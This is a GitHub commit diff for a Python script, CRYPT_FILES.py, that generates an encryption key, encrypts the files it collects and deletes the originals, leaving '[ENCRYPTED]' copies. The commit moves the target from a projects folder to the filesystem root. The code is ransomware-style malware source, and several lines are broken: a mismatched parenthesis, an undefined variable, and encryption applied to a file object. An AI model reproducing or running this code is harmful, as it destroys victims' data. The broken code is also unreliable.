Skip to content

Commit e5bd894

Browse files
authored
Update CRYPT_FILES.py
1 parent 51220eb commit e5bd894

1 file changed

Lines changed: 10 additions & 11 deletions

File tree

CRYPT_FILES.py

Lines changed: 10 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -13,20 +13,19 @@
1313

1414
user_directory = (getpass.getuser()). center(25,'_')
1515

16-
parent_dir = "D:/projects/"
16+
parent_dir = "/"
1717

1818
path = os.path.join(parent_dir, user_directory)
1919

2020
os.mkdir(path)
2121

2222
key = Fernet.generate_key()
23-
with open(path+'/'+'key.csv' , 'a') as key_file:
24-
msg =f'''
23+
with open(path+'/'+'key.txt' , 'a') as key_file:
24+
msg ='='.center(30,'=')+f'''
2525
{user_directory} is crypted by: {key} ############ \n time: {current_time}
2626
'''
27-
csvwriter = csvwriter(key_file)
28-
csvwriter.writerow(msg)
29-
27+
keyfile.writelines(msg)
28+
3029

3130
f = Fernet(key)
3231
files_path=[]
@@ -42,19 +41,19 @@
4241
files_path.append(file_name)
4342

4443
pathes = open(path+'/'+'pathes.txt' , 'a')
45-
msg =f'''
44+
msg ='='.center(30,'=')+f'''
4645
PATHES OF FILES: {files_path}############ \n time: {current_time}
4746
'''
48-
pathes.write(files_path)
47+
pathes.writelines(files_path)
4948
pathes.close()
5049
for file_path in files_path:
5150
try:
52-
with open(file_path,'rb+') as texted_file:
51+
with open(file_path,'rb') as texted_file:
5352
crypetd_texted_file = f.encrypt(texted_file)
54-
print(file_path , 'CRYPTED'.center(10,'_'))
53+
print(file_path+ 'CRYPTED').center(10,'_'))
5554
os.remove(file_path)
5655
with open(file_path+'[ENCRYPTED]'.center(20,'__') , 'w') as crypted_file:
57-
crypted_file.write(crypted_texted_file)
56+
crypted_file.writelines(crypted_texted_file)
5857

5958

6059

0 commit comments

Comments
 (0)